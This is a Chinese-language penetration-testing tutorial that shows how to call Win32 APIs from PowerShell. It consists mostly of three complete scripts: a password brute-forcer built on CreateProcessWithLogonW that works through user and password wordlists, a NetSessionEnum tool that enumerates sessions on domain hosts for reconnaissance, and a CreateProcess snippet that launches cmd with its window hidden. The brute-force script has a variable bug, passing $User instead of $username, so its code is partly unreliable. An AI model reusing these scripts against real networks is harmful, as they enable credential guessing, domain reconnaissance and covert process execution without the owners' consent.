powershell(8)-win32API

Powershell还有一大强大之处就是能调用Win32-Api(废话),这给我们带来了极大的便利,也就是API能实现的功能当我们在渗透的过程中我们能轻而易举的实现,而我们只需要在对方机器执行一条命令即可。

下面我们通过几个脚本来介绍我们如何通过Powershell来调用Win32Api,从而达到学习的目的,也能够为大家的脚本工具增添xx….:)

Runas

runas.exe是一个Windows自带的程序,一条简单的命令runas /user:corp\bob cmd可以用域内另外一个用户的身份开一个shell,当然需要你输入密码

这次我们直接通过Powershell来实现runas,但是我们就不介绍他直接的用处了,那么runas我们能想到的利用场景还有什么呢?我们可以通过输入密码对用户的密码进行爆破。

  1. function Runas-Brute {
  2. <#
  3. .SYNOPSIS
  4. Parameters:
  5. -UserList Specifiy usernameList.
  6. -PasswordList Specify passwordList.
  7. -Domain Specify domain. Defaults to localhost if not specified.
  8. -LogonType dwLogonFlags:
  9. 0x00000001 --> LOGON_WITH_PROFILE
  10. Log on, then load the user profile in the HKEY_USERS registry
  11. key. The function returns after the profile is loaded.
  12. 0x00000002 --> LOGON_NETCREDENTIALS_ONLY (= /netonly)
  13. Log on, but use the specified credentials on the network only.
  14. The new process uses the same token as the caller, but the
  15. system creates a new logon session within LSA, and the process
  16. uses the specified credentials as the default credentials.
  17. -Binary Full path of the module to be executed.
  18. -Args Arguments to pass to the module, e.g. "/c calc.exe". Defaults
  19. to $null if not specified.
  20. .EXAMPLE
  21. Start cmd with a local account
  22. C:\PS> Invoke-Runas -UserList SomeAccountList -PasswordList SomePassList -Binary C:\Windows\System32\cmd.exe -LogonType 0x1
  23. .EXAMPLE
  24. Start cmd with remote credentials. Equivalent to "/netonly" in runas.
  25. C:\PS> Invoke-Runas -UserList SomeAccountList -PasswordList SomePassList -Domain SomeDomain -Binary C:\Windows\System32\cmd.exe -LogonType 0x2
  26. #>
  27. param (
  28. [Parameter(Mandatory = $True)]
  29. [string]$UserList,
  30. [Parameter(Mandatory = $True)]
  31. [string]$PasswordList,
  32. [Parameter(Mandatory = $False)]
  33. [string]$Domain=".",
  34. [Parameter(Mandatory = $True)]
  35. [string]$Binary,
  36. [Parameter(Mandatory = $False)]
  37. [string]$Args=$null,
  38. [Parameter(Mandatory = $True)]
  39. [int][ValidateSet(1,2)]
  40. [string]$LogonType
  41. )
  42. Add-Type -TypeDefinition @"
  43. using System;
  44. using System.Diagnostics;
  45. using System.Runtime.InteropServices;
  46. using System.Security.Principal;
  47. [StructLayout(LayoutKind.Sequential)]
  48. public struct PROCESS_INFORMATION
  49. {
  50. public IntPtr hProcess;
  51. public IntPtr hThread;
  52. public uint dwProcessId;
  53. public uint dwThreadId;
  54. }
  55. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
  56. public struct STARTUPINFO
  57. {
  58. public uint cb;
  59. public string lpReserved;
  60. public string lpDesktop;
  61. public string lpTitle;
  62. public uint dwX;
  63. public uint dwY;
  64. public uint dwXSize;
  65. public uint dwYSize;
  66. public uint dwXCountChars;
  67. public uint dwYCountChars;
  68. public uint dwFillAttribute;
  69. public uint dwFlags;
  70. public short wShowWindow;
  71. public short cbReserved2;
  72. public IntPtr lpReserved2;
  73. public IntPtr hStdInput;
  74. public IntPtr hStdOutput;
  75. public IntPtr hStdError;
  76. }
  77. public static class Advapi32
  78. {
  79. [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
  80. public static extern bool CreateProcessWithLogonW(
  81. String userName,
  82. String domain,
  83. String password,
  84. int logonFlags,
  85. String applicationName,
  86. String commandLine,
  87. int creationFlags,
  88. int environment,
  89. String currentDirectory,
  90. ref STARTUPINFO startupInfo,
  91. out PROCESS_INFORMATION processInformation);
  92. }
  93. public static class Kernel32
  94. {
  95. [DllImport("kernel32.dll")]
  96. public static extern uint GetLastError();
  97. }
  98. "@
  99. # StartupInfo Struct
  100. $StartupInfo = New-Object STARTUPINFO
  101. $StartupInfo.dwFlags = 0x00000001
  102. $StartupInfo.wShowWindow = 0x0001
  103. $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo)
  104. # ProcessInfo Struct
  105. $ProcessInfo = New-Object PROCESS_INFORMATION
  106. # 创建一个在当前目录的shell
  107. $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
  108. echo "`n[>] Calling Advapi32::CreateProcessWithLogonW"
  109. $usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
  110. $passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
  111. if (!$usernames) {
  112. $usernames = $UserList
  113. Write-Verbose "UserList file does not exist."
  114. Write-Verbose $usernames
  115. }
  116. if (!$passwords) {
  117. $passwords = $PasswordList
  118. Write-Verbose "PasswordList file does not exist."
  119. Write-Verbose $passwords
  120. }
  121. :UsernameLoop foreach ($username in $usernames)
  122. {
  123. foreach ($Password in $Passwords)
  124. {
  125. $CallResult = [Advapi32]::CreateProcessWithLogonW(
  126. $User, $Domain, $Password, $LogonType, $Binary,
  127. $Args, 0x04000000, $null, $GetCurrentPath,
  128. [ref]$StartupInfo, [ref]$ProcessInfo)
  129. if (!$CallResult) {
  130. echo "==> $((New-Object System.ComponentModel.Win32Exception([int][Kernel32]::GetLastError())).Message)"
  131. echo "Test: " , $User , $password
  132. } else {
  133. echo "`n[+] Success, process details:"
  134. Get-Process -Id $ProcessInfo.dwProcessId
  135. echo "Test: " , $User , $password
  136. break UsernameLoop
  137. }
  138. }
  139. }
  140. }

这是整个脚本的代码,那么下面就是运行的结果,我们只需要指定好他的字典文件即可

powershell(8)-win32API - 图1

NetSessionEnum

下面一个简单的介绍NetSessionEnum。首先我们需要了解的是,在真实的测试过程中我们需要知道域内的组织架构,域内的活动机器等等。那么可以提供的工具也有很多,比如:PVEFindADUser.exe psloggedon.exe netsess.exe hunter.exe等等,那么我们还是选择powershell作为我们的最佳利用工具,其实上面讲到的工具都是调用了NetSessionEnum API,那么我们Powershell也能够非常方便的调用此API,而且最重要的一点,我们并不需要域管的权限,下面我们来看一下这里如何实现。

  1. function Invoke-NetSessionEnum {
  2. <#
  3. .SYNOPSIS
  4. 使用NetSessionEnum去列出目前的活动?
  5. .EXAMPLE
  6. PS> Invoke-NetSessionEnum -HostName SomeHostName
  7. #>
  8. param (
  9. [Parameter(Mandatory = $True)]
  10. [string]$HostName
  11. )
  12. Add-Type -TypeDefinition @"
  13. using System;
  14. using System.Diagnostics;
  15. using System.Runtime.InteropServices;
  16. [StructLayout(LayoutKind.Sequential)]
  17. public struct SESSION_INFO_10
  18. {
  19. [MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost;
  20. [MarshalAs(UnmanagedType.LPWStr)]public string DomainUser;
  21. public uint SessionTime;
  22. public uint IdleTime;
  23. }
  24. public static class Netapi32
  25. {
  26. [DllImport("Netapi32.dll", SetLastError=true)]
  27. public static extern int NetSessionEnum(
  28. [In,MarshalAs(UnmanagedType.LPWStr)] string ServerName,
  29. [In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName,
  30. [In,MarshalAs(UnmanagedType.LPWStr)] string UserName,
  31. Int32 Level,
  32. out IntPtr bufptr,
  33. int prefmaxlen,
  34. ref Int32 entriesread,
  35. ref Int32 totalentries,
  36. ref Int32 resume_handle);
  37. [DllImport("Netapi32.dll", SetLastError=true)]
  38. public static extern int NetApiBufferFree(
  39. IntPtr Buffer);
  40. }
  41. "@
  42. # 创建 SessionInfo10 结构
  43. $SessionInfo10 = New-Object SESSION_INFO_10
  44. $SessionInfo10StructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10) # Grab size to loop bufptr
  45. $SessionInfo10 = $SessionInfo10.GetType()
  46. # NetSessionEnum 的参数
  47. $OutBuffPtr = [IntPtr]::Zero
  48. $EntriesRead = $TotalEntries = $ResumeHandle = 0
  49. $CallResult = [Netapi32]::NetSessionEnum($HostName, "", "", 10, [ref]$OutBuffPtr, -1, [ref]$EntriesRead, [ref]$TotalEntries, [ref]$ResumeHandle)
  50. if ($CallResult -ne 0){
  51. echo "something wrong!`nError Code: $CallResult"
  52. }
  53. else {
  54. if ([System.IntPtr]::Size -eq 4) {
  55. echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X8}" -f $OutBuffPtr.ToInt32())"
  56. }
  57. else {
  58. echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X16}" -f $OutBuffPtr.ToInt64())"
  59. }
  60. echo "Result-set contains $EntriesRead session(s)!"
  61. # Change buffer offset to int
  62. $BufferOffset = $OutBuffPtr.ToInt64()
  63. # Loop buffer entries and cast pointers as SessionInfo10
  64. for ($Count = 0; ($Count -lt $EntriesRead); $Count++){
  65. $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
  66. $Info = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr,[type]$SessionInfo10)
  67. $Info
  68. $BufferOffset = $BufferOffset + $SessionInfo10StructSize
  69. }
  70. echo "`nCalling NetApiBufferFree, no memleaks here!"
  71. [Netapi32]::NetApiBufferFree($OutBuffPtr) |Out-Null
  72. }
  73. }

powershell(8)-win32API - 图2

CreateProcess

最后我们在看一个我们用的最多的API例子:进程创建,我们需要远程创建一个没有窗口而去token由我们指定的进程,至于为什么要这么干大家可以自己领悟。那么CreateProcess API就能满足我们的需求,我们来看一个简单的例子:

  1. Add-Type -TypeDefinition @"
  2. using System;
  3. using System.Diagnostics;
  4. using System.Runtime.InteropServices;
  5. [StructLayout(LayoutKind.Sequential)]
  6. public struct PROCESS_INFORMATION
  7. {
  8. public IntPtr hProcess;
  9. public IntPtr hThread;
  10. public uint dwProcessId;
  11. public uint dwThreadId;
  12. }
  13. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
  14. public struct STARTUPINFO
  15. {
  16. public uint cb;
  17. public string lpReserved;
  18. public string lpDesktop;
  19. public string lpTitle;
  20. public uint dwX;
  21. public uint dwY;
  22. public uint dwXSize;
  23. public uint dwYSize;
  24. public uint dwXCountChars;
  25. public uint dwYCountChars;
  26. public uint dwFillAttribute;
  27. public uint dwFlags;
  28. public short wShowWindow;
  29. public short cbReserved2;
  30. public IntPtr lpReserved2;
  31. public IntPtr hStdInput;
  32. public IntPtr hStdOutput;
  33. public IntPtr hStdError;
  34. }
  35. [StructLayout(LayoutKind.Sequential)]
  36. public struct SECURITY_ATTRIBUTES
  37. {
  38. public int length;
  39. public IntPtr lpSecurityDescriptor;
  40. public bool bInheritHandle;
  41. }
  42. public static class Kernel32
  43. {
  44. [DllImport("kernel32.dll", SetLastError=true)]
  45. public static extern bool CreateProcess(
  46. string lpApplicationName,
  47. string lpCommandLine,
  48. ref SECURITY_ATTRIBUTES lpProcessAttributes,
  49. ref SECURITY_ATTRIBUTES lpThreadAttributes,
  50. bool bInheritHandles,
  51. uint dwCreationFlags,
  52. IntPtr lpEnvironment,
  53. string lpCurrentDirectory,
  54. ref STARTUPINFO lpStartupInfo,
  55. out PROCESS_INFORMATION lpProcessInformation);
  56. }
  57. "@
  58. # StartupInfo Struct
  59. $StartupInfo = New-Object STARTUPINFO
  60. $StartupInfo.dwFlags = 0x00000001 # STARTF_USESHOWWINDOW
  61. $StartupInfo.wShowWindow = 0x0000 # SW_HIDE
  62. $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
  63. # ProcessInfo Struct
  64. $ProcessInfo = New-Object PROCESS_INFORMATION
  65. # SECURITY_ATTRIBUTES Struct (Process &amp; Thread)
  66. $SecAttr = New-Object SECURITY_ATTRIBUTES
  67. $SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)
  68. # CreateProcess In CurrentDirectory
  69. $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
  70. # Call CreateProcess
  71. [Kernel32]::CreateProcess("C:\Windows\System32\cmd.exe", "/c calc.exe", [ref] $SecAttr, [ref] $SecAttr, $false,
  72. 0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null

其中窗口问题是在$StartupInfo.wShowWindow = 0x0000 # SW_HIDE这里解决的,下面是测试效果:

powershell(8)-win32API - 图3

可以看到计算器是在cmd进程下面的,那么还有一个需求是使用什么Token来打开一个进程,我们使用API:CreateProcessAsUserW那么大家可以去研究一下如何完成使用特定token打开进程。